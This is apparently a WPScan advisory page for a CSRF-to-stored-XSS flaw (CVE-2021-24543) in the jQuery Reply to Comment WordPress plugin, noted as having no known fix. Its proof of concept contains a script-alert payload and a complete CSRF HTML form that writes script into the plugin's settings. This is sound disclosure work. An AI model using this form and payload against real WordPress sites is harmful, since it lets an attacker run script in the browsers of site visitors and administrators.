WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

jQuery Reply to Comment <= 1.31 - CSRF to Stored Cross-Site Scripting

Description

The plugin does not have any CSRF check when saving its settings, nor sanitise or escape its 'Quote String' and 'Reply String' settings before outputting them in Comments, leading to a Stored Cross-Site Scripting issue.

Proof of Concept

Put the following payload in the 'Quote String' or 'Reply String' settings of the plugin, then view a frontend page where there is a comment to trigger the XSS: <script>alert(/XSS/)</script>

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=jqr2c.php" method="POST">
      <input type="hidden" name="jqr2c_reply" value="Reply<script>alert(/Reply/)</script>" />
      <input type="hidden" name="jqr2c_quote" value="Quote<script>alert(/Quote/)</script>" />
      <input type="hidden" name="jqr2c_usephp" value="1" />
      <input type="hidden" name="jqr2c_position" value="bottom" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

Affects Plugins

jquery-reply-to-comment
No known fix - plugin closed

References

CVE
CVE-2021-24543

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Prashant Karman Patel

Submitter

Prashant Karman Patel

Submitter twitter
parsh_patel
Verified

Yes

WPVDB ID
aa23f743-811b-4fd1-81a9-42916342e312

Timeline

Publicly Published

2021-09-21 (about 9 months ago)

Added

2021-09-21 (about 9 months ago)

Last Updated

2022-04-09 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us